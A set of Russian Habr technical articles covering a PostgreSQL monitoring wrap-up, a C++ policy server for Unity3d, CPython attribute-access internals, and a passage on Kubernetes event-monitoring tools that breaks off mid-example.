Конечно же, **нужно использовать мониторинг**, без него — никуда. Добавьте нужные счетчики, которые я упоминал, в мониторинг, и тогда время реакции на проблему будет гораздо меньше.
Встроенные средства, про которые я рассказывал, желательно **знать и использовать** — тогда времени, которое вы тратите на поиск проблем, потребуется гораздо меньше.
### Полезные ссылки
* PostgreSQL official documentation — [The Statistics Collector](https://www.postgresql.org/docs/current/static/monitoring-stats.html)
* PostgreSQL [Mailing Lists](https://www.postgresql.org/list/) ( [general](https://www.postgresql.org/list/pgsql-general/), [performance](https://www.postgresql.org/list/pgsql-performance/), [hackers](https://www.postgresql.org/list/pgsql-hackers/))
* [PostgreSQL-Consulting company blog](http://blog.dataegret.com/)
> В этом году мы запланировали две конференции для разработчиков высоконагруженных систем и ближайшая, [Highload++ Siberia](http://www.highload.ru/siberia/2018), пройдет уже **25 и 26 июня в Новосибирске**. Судя по заявкам, она обещает быть даже круче, чем московская.
>
>
>
> * Владислав Клименко и Валерий Панов [представят](http://www.highload.ru/siberia/2018/abstracts/3718) утилиту репликации данных из MySQL в ClickHouse.
> * Иван Шаров и Константин Полуэктов [расскажут](http://www.highload.ru/siberia/2018/abstracts/3298), какие проблемы возникают при миграциях продукта на новые версии базы данных Oracle.
> * Николай Голов [расскажет](http://www.highload.ru/siberia/2018/abstracts/3694) как можно реализовать транзакции, если деньги в одном сервисе, услуги — в другом, и у каждого сервиса своя изолированная база.
> * Юрий Насретдинов подробно [объяснит](http://www.highload.ru/siberia/2018/abstracts/3614), для чего VK нужен ClickHouse, сколько хранится данных, и многое другое.
>
>
>
> | https://habr.com/ru/post/414111/ | null | ru | null |
# Пишем Policy server на C++ для Unity3d
Зачем нужен policy server?
--------------------------
В [Unity](http://unity3d.com/ru/), начиная с версии 3.0, для сборок под Web player используются механизмы обеспечения безопасности, похожие на те, что использует Adobe в Flash player. Суть его заключается в том, что при обращении к серверу клиент спрашивает у него «разрешение», и если сервер не «разрешает», то клиент не будет пробовать к нему подключиться. Данные ограничения работают для обращения к удаленным серверам через класс [WWW](http://docs.unity3d.com/ScriptReference/WWW.html) и с помощью сокетов. Если вы хотите сделать какой-либо запрос по rest протоколу из вашего клиента на удаленный сервер, необходимо, чтобы в корне домена лежал специальный xml. Он должен называться crossdomain.xml и иметь следующий формат:
```
xml version="1.0"?
```
Клиент перед запросом скачает файл политики безопасности, проверит его и, увидев, что разрешены все домены, продолжит выполнять сделанный вами запрос.
Если вам потребуется подключиться к удаленному серверу с помощью сокетов (tcp/udp), перед подключением клиент сделает запрос к серверу на 843 порт для получения файла политики безопасности, в котором будет описано к каким портам и с каких доменов можно подключаться:
```
xml version="1.0"?
"
```
Если данные клиента не удовлетворяют всем параметрам (домен, порт), то клиент сгенерирует исключение SecurityException и не будет пытаться подключиться к серверу.
В данной статье речь пойдет о написании сервера, который будет отдавать файлы политики безопасности, в дальнейшем я буду называть его Policy server.
Как должен работать Policy server?
----------------------------------
Схема работы сервера проста:
1. Сервер запускается и слушает 843 порт по tcp протоколу. Есть возможность переопределить порт [Security.PrefetchSocketPolicy()](http://docs.unity3d.com/ScriptReference/Security.PrefetchSocketPolicy.html)
2. Клиент подключается к серверу по tcp протоколу и отправляет xml c запросом файла политики безопасности:
```
```
3. Сервер разбирает запрос и отправляет клиенту xml с политикой безопасности
На практике процесс разбора запроса не имеет никакого смысла. Значение имеет время, которое клиент ожидает до получения файла политики безопасности, так как оно увеличивает задержку до подключения к целевому порту. Мы можем модифицровать процесс работы сервера и отдавать клиенту файл политики безопасности сразу же после подключения.
Что уже есть?
-------------
На текущий момент есть сервер, написанный на связке Java + [Netty](http://netty.io/), [исходный код с инструкцией и jar](https://github.com/helper2424/unity_policy_server). Одним из ключевых его недостатков является зависимость от jre. В целом, развернуть jre на linux сервере не проблема, но часто разработчики игр — это клиентские программисты, которые хотят делать как можно меньше телодвижений, тем более они не хотят устанавливать jre и позже его администрировать. Поэтому было принято решение написать Policy server на C++, который работал бы как нативное приложение на linux машине.
Написанный на C++ Policy server не должен уступать по производительности старому, в идеале должен показывать результат намного лучше. Ключевыми метриками производительности будут: время, которое клиент тратит на ожидание файла политики безопасности, и количество клиентов, которые могут одновременно получать файлы политики безопасности, что, по сути, тоже сводится к времени ожидания файла политики.
Для тестирования я использовал этот [скрипт](https://github.com/helper2424/unity_policy_server_native/blob/master/test.rb). Работает он следующим образом:
1. Вычиcляет средний пинг до сервера
2. Запускает несколько потоков (количество указывается в скрипте)
3. В каждом потоке запрашивает у Policy server'а файл политики безопасности
4. Если файл политики соответствует тому, который ожидается, то для каждого запроса сохраняется время, потраченное на ожидание
5. Выводит результаты в консоль. Нас интересуют следующие значения: минимальное время ожидания, максимальное время ожидания, среднее время ожидания и те же параметры без пинга
Скрипт написан на ruby, но так как в [стандартном интерпретаторе ruby](https://en.wikipedia.org/wiki/Ruby_MRI) отсутствует поддержка потоков уровня операционной системы, для работы я использовал [jruby](http://jruby.org/). Удобней всего использовать [rvm](https://rvm.io/), команда для запуска скрипта будет выглядеть так:
```
rvm jruby do ruby test.rb
```
Результаты тестирования Policy server'а, написанного на Java+[Netty](http://netty.io/):
| | |
| --- | --- |
| Среднее, мс | 245 |
| Минимальное, мс | 116 |
| Максимальное, мс | 693 |
Что понадобится?
----------------
По сути, задача — написать на C++ демон, который мог бы слушать несколько портов, при подключении клиентов создавать сокет, копировать в сокет текстовую информацию и закрывать его. Желательно иметь как можно меньше зависимостей, а если они все-таки будут, то они должны быть в репозиториях наиболее распространенных linux дистрибутивов. Для написания кода будем использовать стандарт c++11. В качестве минимального набора библиотек возьмем:
* [libev](http://software.schmorp.de/pkg/libev.html) для работы с циклом событий приложения
* [boost program\_options](http://www.boost.org/doc/libs/1_59_0/doc/html/program_options.html) для работы с параметрами командной строки
* [Easylogging++](https://github.com/easylogging/easyloggingpp) для работы с логами
Один порт — один поток
----------------------
Структура приложения достаточно проста: понадобится функционал для работы с параметрами командной строки, классы для работы с потоками, функционал для работы с сетью, функционал для работы с логами. Это простые вещи, с которыми не должно возникнуть проблем, поэтому я не буду на них подробно останавливаться. Код можно посмотреть [здесь](https://github.com/helper2424/unity_policy_server_native). Проблемным местом является организация обработки клиентских запросов. Самое простое решение — после подключения клиентского сокета отправлять все данные и сразу же закрывать сокет. Т.е. код, отвечающий за обработку нового подключения будет выглядеть так:
```
void Connector::connnect(ev::io& connect_event, int )
{
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int client_sd;
client_sd = accept(connect_event.fd, (struct sockaddr *)&client_addr, &client_len);
if(client_sd < 0)
return;
const char *data = this->server->get_text()->c_str();
send(client_sd, (void*)data, sizeof(char) * strlen(data), 0);
shutdown(client_sd, 2);
close(client_sd);
}
```
При попытке протестировать на большом количестве потоков (300, по 10 подключений на каждый), я не смог дождаться окончания работы тестовго скрипта. Из чего можно сделать вывод, что данное решением нам не подходит.
Async
-----
Операция передачи данных по сети является затратной по времени, очевидно, что необходмио разделить процесс создания клиентского сокета и процесс отправки данных. Также неплохо было бы отдавать данные несколькими потоками. Неплохое решение — использовать [std::async](http://en.cppreference.com/w/cpp/thread/async), который появился в стандарте C++11 async. Код, отвечающий за обработку нового подключения будет выглядеть так:
```
void Connector::connnect(ev::io& connect_event, int )
{
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int client_sd;
client_sd = accept(connect_event.fd, (struct sockaddr *)&client_addr, &client_len);
std::async(std::launch::async, [client_addr, this](int client_socket) {
const char * data = this->server->get_text()->c_str();
send(client_socket, (void*)data, sizeof(char) * strlen(data), 0);
shutdown(client_socket, 2);
close(client_socket);
}, client_sd);
}
```
Минусом такого решения является безконтрольность ресурсов. Минимальным вмешательством в код мы получаем возможность асинхронно выполнять отправку данных клиенту, при этом мы не можем контролировать процесс порождения новых потоков. Процесс создания нового потока является затратным для операционной системы, также большое количество потоков может понизить производительность сервера.
Pub/Sub
-------
Подходящим решением для данной задачи является паттерн издатель-подписчик. Схема работы сервера должна выглядеть следующим образом:* Несколько издателей, по одному на каждый порт, сохраняют в буфер идентификаторы сокетов клиентов, которым надо отдать файл политики безопасности
* Несколько подписчиков получают из буфера идентификаторы сокетов, копируют в них файл политики безопасности и закрывают сокет.
В качестве буфера подходит очередь, первым подключился к серверу — первым получишь файл политики. В стандартной библиотеке C++ есть готовый контейнер очереди, но он нам не подойдёт, так как требуется потокобезопасная очередь. При этом нам необходимо, чтобы операция добавления нового элемента была не блокирующей, в то время как операция чтения была блокирующей. Т.е при старте сервера будут запущены несколько подписчиков, которые будут ждать пока очередь пуста. Как только там появляются данные, один или несколько обработчиков срабатывают. Издатели же асинхронно записывают в данную очередь идентификаторы сокетов.
Немного погуглив, я нашел несколько готовых реализаций:
1. <https://github.com/cameron314/concurrentqueue>.
В данном случае нас интересует [blockingconcurrentqueue](https://github.com/cameron314/concurrentqueue/blob/master/blockingconcurrentqueue.h), которая просто копируется в проект как заголовочный .h файл. Достаточно удобно, и нет никаких зависимостей. Данное решение обладает следующими минусами:
* Нет методов для остановки подписчиков. Единственный способ остановить их — добавлять в очередь данные, которые будут сигнализировать подписчикам о том, что надо остановить работу. Это достаточно неудобно и потенциально может вызвать дедлок
* Поддерживается одним человеком, коммиты в последнее время появляются достаточно редко
2. [tbb concurrent queue](https://www.threadingbuildingblocks.org/docs/help/reference/containers_overview/concurrent_queue_cls.htm).
Многопоточная очередь из библиотеки [tbb](https://www.threadingbuildingblocks.org/) (Threading Building Blocks). Библиотека разрабатывается и поддерживается Intel, при этом имеет все что нам необходимо:
* Блокирующее чтение из очереди
* Неблокирующая запись в очередь
* Возможность в любой момент остановить заблокированные на ожидании данных потоки
Среди минусов можно отметить, что такое решение увеличивает количество зависимостей, т.е. конечным пользователям придется устанавливать на свой сервер tbb. В наиболее рапспространенных linux-репозиториях tbb можно установить через менеджер пакетов операционной системы, поэтому проблем с зависимостями быть не должно.
Таким образом код создания нового подключения будет выглядеть следующим образом:
```
void Connector::connnect(ev::io& connect_event, int )
{
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int client_sd;
client_sd = accept(connect_event.fd, (struct sockaddr *)&client_addr, &client_len);
clients_queue()->push(client_sd);
this->handled_clients++;
}
```
Код обработки клиентского сокета:
```
void Handler::run()
{
LOG(INFO) << "Handler with thread id " << this->thread.get_id() << " started";
while(this->is_run)
{
int socket_fd = clients_queue()->pop();
this->handle(socket_fd);
}
LOG(INFO) << "Handler with thread id " << this->thread.get_id() << " stopped";
}
```
Код для работы с очередью:
```
void ClientsQueue::push(int client)
{
if(!this->queue.try_push(client))
LOG(WARNING) << "Can't push socket " << client << " to queue";
}
int ClientsQueue::pop()
{
int result;
try
{
this->queue.pop(result);
}
catch(...)
{
result = -1;
}
return result;
}
void ClientsQueue::stop()
{
this->queue.abort();
}
```
Код всего проекта с инструкцией по установке можно найти [здесь](https://github.com/helper2424/unity_policy_server_native). Результат тестового запуска с десятью потоками обработчиками:
| | |
| --- | --- |
| Среднее, мс | 151 |
| Минимальное, мс | 100 |
| Максимальное, мс | 1322 |
Итог
----
Сравнительаня таблица результатов
| | Java+Netty | C++ Pub/Sub |
| --- | --- | --- |
| Среднее, мс | 245 | 151 |
| Минимальное, мс | 116 | 100 |
| Максимальное, мс | 693 | 1322 |
Ссылки:
* [Старая версия Policy server'a на java](https://github.com/helper2424/unity_policy_server)
* [Новая версия Policy server'a на C++](https://github.com/helper2424/unity_policy_server_native)
PS: На текущий момент Unity Web player переживает тяжелые времена, в связи с закрытием npapi в топовых браузерах. Но если кто либо еще использует его и держит сервера на linux машинах, то может воспользоваться данным сервером, надеюсь он окажется вам полезным. Отдельная благодарность [themoonisalwaysspyingonyourfears](https://vk.com/themoonisalwaysspyingonyourfears) за иллюстрацию к статье. | https://habr.com/ru/post/268091/ | null | ru | null |
# Разбираемся с доступом к атрибутам в Python
> Перевод статьи опубликован специально для будущих студентов курса ["**Python Developer. Professional"**](https://otus.pw/7cLp/).
>
>
---
Интересно, сколько людей понимают, что в Python много [синтаксического сахара](https://en.wikipedia.org/wiki/Syntactic_sugar)? Я не говорю, что он похож на Lisp-подобные языки, где синтаксис настолько голый, насколько это возможно (хотя и сравнение с Lisp [не совсем обосновано](https://norvig.com/python-lisp.html))), но большая часть синтаксиса Python технически не нужна, поскольку под капотом в основном вызовы функций.
Ну и что с того? Зачем думать о том, как Python за меньший синтаксис делает больше вызовов функций? На самом деле для этого есть две причины. Во-первых, полезно знать, как на самом деле работает Python, чтобы лучше понимать/отлаживать код, когда что-то идет не так как надо. Во-вторых, так можно выявить минимум, необходимый для реализации языка.
Именно поэтому, чтобы заняться самообразованием и заодно подумать, что может понадобиться для реализации Python под WebAssembly или API bare bones на C, я решил написать эту статью о том, как выглядит доступ к атрибутам и что скрывается за синтаксисом.
Теперь вы можете попытаться собрать воедино все, что относится к доступу к атрибутам, прочитав [справочник по Python](https://docs.python.org/3/reference/index.html). Так вы можете прийти к выражениям [ссылок на атрибуты](https://docs.python.org/3/reference/expressions.html#attribute-references) и модели данных для настройки [доступа к атрибутам](https://docs.python.org/3/reference/datamodel.html#customizing-attribute-access), однако, все равно важно связать все вместе, чтобы понять, как работает доступ. Поэтому я предпочитаю идти от исходного кода на [CPython](https://github.com/python/cpython) и выяснять, что происходит в интерпретаторе (я специально использую тег репозитория *CPython* [*3.8.3*](https://github.com/python/cpython/tree/v3.8.3), поскольку у меня есть стабильные ссылки и я использую последнюю версию на момент написания статьи).
В начале статьи вам встретится немного кода на С, но я не жду, что вы досконально поймете, что там происходит. Я напишу о том, что нужно будет из него понять, поэтому если у вас нет ни малейших знаний в С, то ничего страшного, вы все равно поймете все то, о чем я говорю.
### Смотрим в байткод
Итак, давайте разберемся со следующим выражением:
```
obj.attr
```
Наверное, самое простая отправная точка в изучении – это байткод. Посмотрим на эту строку и разберемся, что делает компилятор:
```
>>> def example():
... obj.attr
...
>>> import dis
>>> dis.dis(example)
2 0 LOAD_GLOBAL 0 (obj)
2 LOAD_ATTR 1 (attr)
4 POP_TOP
6 LOAD_CONST 0 (None)
8 RETURN_VALUE
```
Самый важный код операции здесь — [*LOADATTR*](https://docs.python.org/3/library/dis.html#opcode-LOAD_ATTR). Если интересно, он заменяет объект на вершине стека результатом доступа к именованному атрибуту, как указано в `conames[i]`*.*
Цикл интерпретатора CPython лежит в [*Python/ceval.c.*](https://github.com/python/cpython/blob/v3.8.3/Python/ceval.c) В его основе лежит массивный оператор `switch`, который ветвится в зависимости от выполняемого кода операции. Если заглянуть поглубже, то вы найдете следующие строки на С для `LOADATTR`:
```
case TARGET(LOAD_ATTR): {
PyObject *name = GETITEM(names, oparg);
PyObject *owner = TOP();
PyObject *res = PyObject_GetAttr(owner, name);
Py_DECREF(owner);
SET_TOP(res);
if (res == NULL)
goto error;
DISPATCH();
}
```
[*Источник*](https://github.com/python/cpython/blob/6f8c8320e9eac9bc7a7f653b43506e75916ce8e8/Python/ceval.c#L2963-L2972)
Большая часть этого кода – это просто работа со стеком, его мы можем опустить. Ключевой бит – это вызов [*PyObject\_GetAttr()*](https://github.com/python/cpython/blob/v3.8.3/Objects/object.c#L930), который и обеспечивает доступ к атрибутам.
### Имя этой функции выглядит знакомо
Теперь это имя выглядит прямо как [*getattr()*](https://docs.python.org/3/library/functions.html#getattr), только в соглашении об именовании функций в С, которое используется в CPython. Покопавшись в [*Python/bltinmodule.c*](https://github.com/python/cpython/blob/v3.8.3/Python/bltinmodule.c), где лежат все встроенные модули Python, можем проверить, верна ли наша догадка. Поискав по `«getattr»` в файле, вы найдете строку, которая связывает имя [«*getattr*»](https://github.com/python/cpython/blob/v3.8.3/Python/bltinmodule.c#L2722) с функцией [«*builtin\_getattr()*»](https://github.com/python/cpython/blob/6f8c8320e9eac9bc7a7f653b43506e75916ce8e8/Python/bltinmodule.c#L1060-L1086)
```
static PyObject *
builtin_getattr(PyObject *self, PyObject *const *args, Py_ssize_t nargs)
{
PyObject *v, *name, *result;
if (!_PyArg_CheckPositional("getattr", nargs, 2, 3))
return NULL;
v = args[0];
name = args[1];
if (!PyUnicode_Check(name)) {
PyErr_SetString(PyExc_TypeError,
"getattr(): attribute name must be string");
return NULL;
}
if (nargs > 2) {
if (_PyObject_LookupAttr(v, name, &result) == 0) {
PyObject *dflt = args[2];
Py_INCREF(dflt);
return dflt;
}
}
else {
result = PyObject_GetAttr(v, name);
}
return result;
}
```
[*Источник*](https://github.com/python/cpython/blob/6f8c8320e9eac9bc7a7f653b43506e75916ce8e8/Python/bltinmodule.c#L1060-L1086)
Есть куча вещей, которые относятся к параметрам, но не интересуют нас, однако вы точно заметите, что когда вы передаете два аргумента в `getattr()`, будет вызван [*PyObjectGetAttr()*](https://github.com/python/cpython/blob/6f8c8320e9eac9bc7a7f653b43506e75916ce8e8/Objects/object.c#L929-L952)*.*
Что это означает? Ну, это означает, что вы можете «распаковать» `obj.attr` как `getattr(obj, "attr")`. А еще это означает, что если мы поймем как работает `PyObjectGetAttr()`, то поймем, как работает эта функция и, следовательно, как организован доступ к атрибутам в Python.
### Разбираемся с getattr()
На этом я прекращу вставлять код на С, поскольку его сложность только растет, и он уже не настолько хорошо демонстрирует, что `obj.attr`это вариант написания `getattr(obj, "attr").` Однако в комментариях псевдокода я продолжу на него ссылаться для тех, кто решил глубоко окунуться в CPython. Также обратите внимание, что код на Python следует рассматривать как псевдокод, поскольку в коде, реализующем доступ к атрибутам, есть сам по себе доступ к ним, но на уровне С он не проходит через обычный механизм доступа к атрибутам. Так что пока вы встречаете символ `«.»`, который используется в псевдокоде как синтаксис, знайте, что на уровне С доступ к атрибутам не рекурсивный и фактически функционирует так, как вы наивно можете предположить самостоятельно.
### Что мы уже знаем
На данный момент о `getattr()` мы знаем три вещи. Во-первых, эта функция требует, как минимум, два атрибута. Во-вторых, второй аргумент должен быть подклассом `str`, в противном случае выпадет `TypeError` со статическим строковым аргументом (который, вероятно, статический из соображений производительности).
```
def getattr(obj: Any, attr: str, default: Any) -> Any:
if not isinstance(attr, str):
raise TypeError("getattr(): attribute name must be string")
... # Fill in with PyObject_GetAttr().
```
*Запись функции для getattr()*
### Поиск атрибутов с помощью специальных методов
Доступ к атрибутам объекта осуществляется с помощью двух специальных методов. Первый метод – это [***getattribute****()*](https://docs.python.org/3/reference/datamodel.html#object.getattribute), который вызывается при попытке получить доступ ко всем атрибутам. Второй – это [***getattr****()*](https://docs.python.org/3/reference/datamodel.html#object.getattr), который вызывает `AttributeError`. Первый метод (на сегодняшний день) всегда должен быть определен, тогда как второй метод является необязательным.
Python ищет специальные методы для типа объекта, а не для самого объекта. Чтобы внести ясность, скажу, что я очень специфически использую здесь слово «тип»: тип экземпляра – это его класс, тип класса – это его тип. К счастью, очень легко получить тип чего-либо благодаря конструктору `type`, возвращающему тип объекта: `type(obj)`.
Также нам нужно знать [порядок разрешения метода](https://www.python.org/download/releases/2.3/mro/) (method resolution order, MRO). Так мы определим порядок иерархии типов для объекта. Алгоритм, который используется в Python пришел из языка[*Dylan*](https://opendylan.org/) и называется C3. Из кода на Python MRO раскрывается с помощью `type(obj).mro()`.
Обработка типа объекта осуществляется специально, поскольку это позволяет ускорить поиск и доступ. В целом, это исключает дополнительный поиск, пропуская экземпляр каждый раз, когда мы что-то ищем. На уровне CPython это позволяет заводить специальные методы, которые находятся в поле `struct` для ускорения поиска. Поэтому несмотря на то, что кажется немного странным игнорировать объект, а вместо него использовать тип, это имеет определенный смысл.
Теперь во имя простоты я немного схитрю и заставлю `getattr()` обрабатывать методы `getattribute()` и `getattr()`явно, в то время как CPython производит некоторые манипуляции под капотом, чтобы заставить объект обрабатывать оба метода самостоятельно. В конечном счете, семантика наших целей получается одинаковой.
```
# Based on https://github.com/python/cpython/tree/v3.8.3.
from __future__ import annotations
import builtins
NOTHING = builtins.object() # C: NULL
def getattr(obj: Any, attr: str, default: Any = NOTHING) -> Any:
"""Implement attribute access via __getattribute__ and __getattr__."""
# Python/bltinmodule.c:builtin_getattr
if not isinstance(attr, str):
raise TypeError("getattr(): attribute name must be string")
obj_type_mro = type(obj).mro()
attr_exc = NOTHING
for base in obj_type_mro:
if "__getattribute__" in base.__dict__:
try:
return base.__dict__["__getattribute__"](obj, attr)
except AttributeError as exc:
attr_exc = exc
break
# Objects/typeobject.c:slot_tp_getattr_hook
# It is cheating to do this here as CPython actually rebinds the tp_getattro
# slot with a wrapper that handles __getattr__() when present.
for base in obj_type_mro:
if "__getattr__" in base.__dict__:
return base.__dict__["__getattr__"](obj, attr)
if default is not NOTHING:
return default
elif attr_exc is not NOTHING:
raise attr_exc
else:
raise AttributeError(f"{self.__name__!r} object has no attribute {attr!r}")
```
*Псевдокод, реализующий* `getattr()`
### Разбираемся с object.getattribute()
Несмотря на то, что мы можем получить реализацию `getattr()`, она, к сожалению, не расскажет нам много о работе Python и поиске атрибутов, поскольку очень большая часть обрабатывается в методе `getattribute()` объекта. Поэтому я расскажу как работает `object.getattribute()`.
#### В поисках дескриптора данных
Первая важная вещь, которую мы собираемся сделать в `object.getattribute()` – это поиск [дескриптора](https://docs.python.org/3/reference/datamodel.html#invoking-descriptors) данных для типа. Если вы никогда не слышали о дескрипторах, то расскажу – это способ программно управлять тем, как работает отдельный атрибут. Возможно, вы вообще никогда о них не слышали, но, если вы некоторое время уже используете Python, я подозреваю, что вы уже использовали дескрипторы: [свойства](https://docs.python.org/3/library/functions.html#property), [*classmethod*](https://docs.python.org/3/library/functions.html#classmethod) и [*staticmethod*](https://docs.python.org/3/library/functions.html#staticmethod) – все это дескрипторы.
Есть два типа дескрипторов: дескрипторы данных и дескрипторы без данных (non-data). Оба типа дескрипторов определяют метод `get` для получения того, каким должен быть атрибут. Дескрипторы данных также определяют методы `set` и `del`, в то время как дескрипторы без данных этого не делают. Свойство – это дескриптор данных, `classmethod` и `staticmethod` — это дескрипторы без данных.
Если мы не можем найти дескриптор данных для атрибута в типе, следующее место, где мы будем искать – это сам объект. Все оказывается просто благодаря объектам, имеющим атрибут `dict`, который хранит атрибуты самого объекта в словаре.
Если же у самого объекта нет атрибута, то мы увидим, есть ли там дескриптор без данных. Поскольку мы уже искали дескриптор ранее, то можем предположить, что если он был найден, но еще не использовался, когда мы искали дескриптор данных, то это дескриптор без данных.
Наконец, мы нашли атрибут типа, и он не был дескриптором, теперь мы возвращаем его. В итоге, порядок поиска атрибутов выглядит следующим образом:
* Дескриптор данных ищется по типам;
* Поиск по объекту;
* Дескриптор без данных ищется по типам;
* Что угодно ищется по типам.
Вы заметите, что сначала мы ищем какой-то дескриптор, затем, если нам это не удалось, мы ищем обычный объект, который соответствует виду дескриптора, который мы искали. Сначала мы ищем данные, потом уже что-то другое. Все это имеет смысл, если думать о том как метод `self.attr = val в init()`хранит данные об объекте. Скорее всего, если вы столкнулись с этим, то хотите, чтобы это стояло перед методом или чем-то подобным. И вам в первую очередь нужны дескрипторы, поскольку, если вы программно определили атрибут, то вероятно, хотели бы, чтобы он использовался всегда.
```
def _mro_getattr(type_: Type, attr: str) -> Any:
"""Get an attribute from a type based on its MRO."""
for base in type_.mro():
if attr in base.__dict__:
return base.__dict__[attr]
else:
raise AttributeError(f"{type_.__name__!r} object has no attribute {attr!r}")
class object:
def __getattribute__(self, attr: str, /) -> Any:
"""Attribute access."""
# Objects/object.c:PyObject_GenericGetAttr
self_type = type(self)
if not isinstance(attr, str):
raise TypeError(
f"attribute name must be string, not {type(attr).__name__!r}"
)
type_attr = descriptor_type_get = NOTHING
try:
type_attr = _mro_getattr(self_type, attr)
except AttributeError:
pass # Hopefully an instance attribute.
else:
type_attr_type = type(type_attr)
try:
descriptor_type_get = _mro_getattr(type_attr_type, "__get__")
except AttributeError:
pass # At least a class attribute.
else:
# At least a non-data descriptor.
for base in type_attr_type.mro():
if "__set__" in base.__dict__ or "__delete__" in base.__dict__:
# Data descriptor.
return descriptor_type_get(type_attr, self, self_type)
if attr in self.__dict__:
# Instance attribute.
return self.__dict__[attr]
elif descriptor_type_get is not NOTHING:
# Non-data descriptor.
return descriptor_type_get(type_attr, self, self_type)
elif type_attr is not NOTHING:
# Class attribute.
return type_attr
else:
raise AttributeError(f"{self.__name__!r} object has no attribute {attr!r}")
```
*Реализация* `object.getattribute()`
### Заключение
Как видите, во время поиска атрибутов в Python происходит много интересного. Несмотря на то, что я бы сказал, что ни одна из частей не является концептуально сложной, в сумме мы получаем множество операций. Именно поэтому некоторые программисты пытаются минимизировать доступ к атрибутам в Python, чтобы избегать всего этого механизма, если речь идет о важности производительности.
Так исторически сложилось, что почти вся эта семантика пришла в Python как часть классов [нового стиля](https://www.python.org/doc/newstyle/), а не «классических». Это различие исчезло в Python 3, когда классические классы остались в прошлом, так что если вы ничего о них не слышали, то это и хорошо, наверное.
Другие статьи из этой серии можно найти по тегу «*syntactic sugar*» в этом блоге. Код из этой статьи вы найдете [здесь.](https://github.com/brettcannon/desugar)
---
> [Узнать подробнее о курсе "Python Developer. Professional".](https://otus.pw/7cLp/)
>
> | https://habr.com/ru/post/528304/ | null | ru | null |
# Как настроить мониторинг событий в Kubernetes: 4 бесплатных инструмента
[Flying Ships Harbour by annewipf](https://www.deviantart.com/annewipf/art/Flying-Ships-Harbour-497290494)
Отсутствие встроенного инструмента наблюдаемости — один из наиболее серьезных недостатков Kubernetes. Команда [Kubernetes aaS Mail.ru Cloud Solutions](https://mcs.mail.ru/containers/) перевела статью о четырех инструментах с открытым исходным кодом, которые подойдут для мониторинга событий.
Kubernetes — платформа с открытым исходным кодом, с ее помощью удобно управлять процессами контейнеризации и автоматизации. Но есть оборотная сторона медали: хотя в Kubernetes встречаются разные проблемы, одна из самых распространенных — наблюдаемость.
События Kubernetes показывают, что происходит в кластере при изменении состояния или ошибках, вызванных другими ресурсами системы. Благодаря событиям вы поймете, почему система не может вытянуть Docker-образ или почему некоторые поды были выселены из кластера. События — это тип ресурса, который автоматически создается всеми основными компонентами и расширениями в кластере через API-сервер.
Доступ к событиям Kubernetes
----------------------------
В Kubernetes нет встроенного инструмента, который позволял бы хранить события за длительный период времени. По умолчанию они хранятся недолго (1 час), а затем удаляются.
Доступ к логам событий Kubernetes можно получить напрямую из кластера при помощи kubectl, еще их можно собирать или просматривать через инструмент ведения журнала.
Чтобы получить список событий для определенного ресурса кластера, нужно запустить для него команду `kubectl describe`. Другой вариант — запустить `kubectl get events`, она выводит список событий по определенному ресурсу или всему кластеру. А чтобы собрать и просмотреть события, при развертывании запустите `kubectl get events --watch` и используйте [сторонние инструменты для ведения журнала](https://thechief.io/c/editorial/kubernetes-7-open-source-logging-and-tracing-tools-you-should-try/).
Для просмотра событий Kubernetes есть как платные, так и бесплатные инструменты. Посмотрим на бесплатные варианты и разберем, как их использовать для мониторинга рабочей среды Kubernetes.
Kubewatch
---------
[Kubewatch](https://github.com/bitnami-labs/kubewatch?ref=thechiefio) — инструмент для мониторинга событий Kubernetes с открытым исходным кодом, он написан на Golang. Kubewatch отслеживает изменения во всех ресурсах кластера и уведомляет о них через заранее выбранный канал или веб-хук. Поддерживает публикацию уведомлений на разных каналах, в том числе в Slack, Hipchat, Webhook, Flock, Mattermost и SMTP.
Для установки и настройки Kubewatch в кластере Kubernetes используют простые команды в kubectl и helm.
### Способ установки 1: kubectl
Чтобы установить Kubewatch при помощи kubectl, создайте файл [ConfigMap.yml](https://github.com/bitnami-labs/kubewatch/blob/master/kubewatch-configmap.yaml?ref=thechiefio) для хранения конфигурации kubewatch. Для доступа к серверу API будет создан контейнер kubewatch вместе с sidecar-контейнером kubectl.
Чтобы создать configmap в Kubernetes, выполните команду:
```
$ kubectl create -f kubewatch-configmap.yaml
```
Затем создайте под напрямую или используйте собственные средства развертывания:
```
$ kubectl create -f kubewatch.yaml
```
Когда под запустится и заработает, уведомления о событиях в Kubernetes начнут появляться на канале, который вы указали. Вот пример уведомления о событии, отправленного в Slack через Kubewatch:
### Способ установки 2: Helm
Для начала убедитесь, что Helm установлен в вашем кластере. Затем настройте Kubewatch при помощи команды:
```
helm install --name
kubewatch bitnami/kubewatch-- set='rbac.create=true,slack.channel=#YOUR_CHANNEL,slack.token=xoxb-YOUR_TOKEN,resourcesToWatch.pod=true,resourcesToWatch.daemonset=true'
```
Другой вариант — создать конфигурацию в файле .yml:
```
$ helm upgrade --install kubewatch bitnami/kubewatch --values=values-file.yml
```
Eventrouter
-----------
[Eventrouter](https://github.com/heptiolabs/eventrouter?ref=thechiefio) — простой и удобный инструмент Kubernetes, который отслеживает события ресурсов в кластере и отправляет уведомления в приемник. В этом решении приемник используется для долгосрочного хранения событий Kubernetes. Благодаря этому они доступны на случай отладки и долгосрочного системного анализа.
Для установки, удаления и просмотра событий развертывания используется kubectl. Запустить Eventrouter в кластере:
```
$ kubectl create
-f https://raw.githubusercontent.com/heptiolabs/eventrouter/master/yaml/eventrouter.yaml
```
Удалить Eventrouter:
```
$ kubectl delete
-f https://raw.githubusercontent.com/heptiolabs/eventrouter/master/yaml/eventrouter.yaml
```
Проверить результаты работы Eventrouter:
```
$ kubectl logs -f deployment/eventrouter -n kube-system
```
Event Exporter
--------------
[Event Exporter](https://github.com/caicloud/event_exporter?ref=thechiefio) — инструмент с открытым исходным кодом, отслеживает события Kubernetes, определяет их продолжительность и выдает метрики. Их можно запрашивать на основе количества событий и уникальных событий за последний час. Event Exporter поддерживает разные команды для развертывания, создания, запуска и проверки метрик. Чтобы собрать Event Explorer, выполните команду:
```
$ VERSION=v1.0.0 REGISTRY=docker.io make build
```
Инструмент можно запускать как внутри Kubernetes (с помощью учетной записи службы Kubernetes), так и вне его (через поиск файла kubeconfig в директории `/.kube`).
Запустить Event Explorer в Kubernetes:
```
$ ./event_exporter
```
Запустить вне Kubernetes:
```
$ ./event_exporter --kubeConfigPath=$HOME/.kube/config
```
Проверка метрик:
```
